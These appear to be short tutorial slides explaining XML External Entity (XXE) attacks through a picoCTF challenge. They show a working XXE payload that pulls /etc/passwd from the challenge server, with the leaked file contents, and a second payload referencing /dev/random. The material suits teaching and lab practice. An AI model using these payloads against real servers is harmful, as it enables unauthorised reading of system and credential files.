XXE (XML External Entities)

```
<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  <foo>&xxe;</foo>
```

XXE (XML External Entities) is a type of web app vulnerability which targets apps that parse XML (a document type)

XXE (XML External Entities)

```
POST /data HTTP/1.1
Host: saturn.picoctf.net:60690
Content-Length: 61
```

```
<?xml version="1.0" encoding="UTF-8"?>
  <data>
    <ID>
      1
    </ID>
  </data>
```

Any time we can send a POST request to an app that includes XML data, that app could be vulnerable to an XXE attack

XXE (XML External Entities)

```
<?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
     <data>
          <ID>
               2&example;
```

```
Invalid ID:
2root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

XXE attacks can be used to read known files on the underlying webserver